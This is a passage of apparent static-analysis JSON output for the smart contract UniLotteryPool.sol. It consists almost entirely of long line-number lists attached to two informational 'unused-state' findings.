7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811, 1812, 1813, 1814, 1815, 1816, 1817, 1818, 1819, 1820, 1821, 1822, 1823, 1824, 1825, 1826, 1827, 1828, 1829, 1830, 1831, 1832, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047, 2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 2375, 2376, 2377, 2378, 2379, 2380, 2381, 2382, 2383, 2384, 2385, 2386, 2387, 2388, 2389, 2390, 2391, 2392, 2393, 2394, 2395, 2396, 2397, 2398, 2399, 2400, 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410, 2411, 2412, 2413, 2414, 2415, 2416, 2417, 2418, 2419, 2420, 2421, 2422, 2423, 2424, 2425, 2426, 2427, 2428, 2429, 2430, 2431, 2432, 2433, 2434, 2435, 2436, 2437, 2438, 2439, 2440, 2441, 2442, 2443, 2444, 2445, 2446, 2447, 2448, 2449, 2450, 2451, 2452, 2453, 2454, 2455, 2456, 2457, 2458, 2459, 2460, 2461, 2462, 2463, 2464, 2465, 2466, 2467, 2468, 2469, 2470, 2471, 2472, 2473, 2474, 2475, 2476, 2477, 2478, 2479, 2480, 2481, 2482, 2483, 2484, 2485, 2486, 2487, 2488, 2489, 2490, 2491, 2492, 2493, 2494, 2495, 2496, 2497, 2498, 2499, 2500, 2501, 2502, 2503, 2504, 2505, 2506, 2507, 2508, 2509, 2510, 2511, 2512, 2513, 2514, 2515, 2516, 2517, 2518, 2519, 2520, 2521, 2522, 2523, 2524, 2525, 2526, 2527, 2528, 2529, 2530, 2531, 2532, 2533, 2534, 2535, 2536, 2537, 2538, 2539, 2540, 2541, 2542, 2543, 2544, 2545, 2546, 2547, 2548, 2549, 2550, 2551, 2552, 2553, 2554, 2555, 2556, 2557, 2558, 2559, 2560, 2561, 2562, 2563, 2564, 2565, 2566, 2567, 2568, 2569, 2570, 2571, 2572, 2573, 2574, 2575, 2576, 2577, 2578, 2579, 2580, 2581, 2582, 2583, 2584, 2585, 2586, 2587, 2588, 2589, 2590, 2591, 2592, 2593, 2594, 2595, 2596, 2597, 2598, 2599, 2600, 2601, 2602, 2603, 2604, 2605, 2606, 2607, 2608, 2609, 2610, 2611, 2612, 2613, 2614, 2615, 2616, 2617, 2618, 2619, 2620, 2621, 2622, 2623, 2624, 2625, 2626, 2627, 2628, 2629, 2630, 2631, 2632, 2633, 2634, 2635, 2636, 2637, 2638, 2639, 2640, 2641, 2642, 2643, 2644, 2645, 2646, 2647, 2648, 2649, 2650, 2651, 2652, 2653, 2654, 2655, 2656, 2657, 2658, 2659, 2660, 2661, 2662, 2663, 2664, 2665, 2666, 2667, 2668, 2669, 2670, 2671, 2672, 2673, 2674, 2675, 2676, 2677, 2678, 2679, 2680, 2681, 2682, 2683, 2684, 2685, 2686, 2687, 2688, 2689, 2690, 2691, 2692, 2693, 2694, 2695, 2696, 2697, 2698, 2699, 2700, 2701, 2702, 2703, 2704, 2705, 2706, 2707, 2708, 2709, 2710, 2711, 2712, 2713, 2714, 2715, 2716, 2717, 2718, 2719, 2720, 2721, 2722, 2723, 2724, 2725, 2726, 2727, 2728, 2729, 2730, 2731, 2732, 2733, 2734, 2735, 2736, 2737, 2738, 2739, 2740, 2741, 2742, 2743, 2744, 2745, 2746, 2747, 2748, 2749, 2750, 2751, 2752, 2753, 2754, 2755, 2756, 2757, 2758, 2759, 2760, 2761, 2762, 2763, 2764, 2765, 2766, 2767, 2768, 2769, 2770, 2771, 2772, 2773, 2774, 2775, 2776, 2777, 2778, 2779, 2780, 2781, 2782, 2783, 2784, 2785, 2786, 2787, 2788, 2789, 2790, 2791, 2792, 2793, 2794, 2795, 2796, 2797, 2798, 2799, 2800, 2801, 2802, 2803, 2804, 2805, 2806, 2807, 2808, 2809, 2810, 2811, 2812, 2813, 2814, 2815, 2816, 2817, 2818, 2819, 2820, 2821, 2822, 2823, 2824, 2825, 2826, 2827, 2828, 2829, 2830, 2831, 2832, 2833, 2834, 2835, 2836, 2837, 2838, 2839, 2840, 2841, 2842, 2843, 2844, 2845, 2846, 2847, 2848, 2849, 2850, 2851, 2852, 2853, 2854, 2855, 2856, 2857, 2858, 2859, 2860, 2861, 2862, 2863, 2864, 2865, 2866, 2867, 2868, 2869, 2870, 2871, 2872, 2873, 2874, 2875, 2876, 2877, 2878, 2879, 2880, 2881, 2882, 2883, 2884, 2885, 2886, 2887, 2888, 2889, 2890, 2891, 2892, 2893, 2894, 2895, 2896, 2897, 2898, 2899, 2900, 2901, 2902, 2903, 2904, 2905, 2906, 2907, 2908, 2909, 2910, 2911, 2912, 2913, 2914, 2915, 2916, 2917, 2918, 2919, 2920, 2921, 2922, 2923, 2924, 2925, 2926, 2927, 2928, 2929, 2930, 2931, 2932, 2933, 2934, 2935, 2936, 2937, 2938, 2939, 2940, 2941, 2942, 2943, 2944, 2945, 2946, 2947, 2948, 2949, 2950, 2951, 2952, 2953, 2954, 2955, 2956, 2957, 2958, 2959, 2960, 2961, 2962, 2963, 2964, 2965, 2966, 2967, 2968, 2969, 2970, 2971, 2972, 2973, 2974, 2975, 2976, 2977, 2978, 2979, 2980, 2981, 2982, 2983, 2984, 2985, 2986, 2987, 2988, 2989, 2990, 2991, 2992, 2993, 2994, 2995, 2996, 2997, 2998, 2999, 3000, 3001, 3002]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 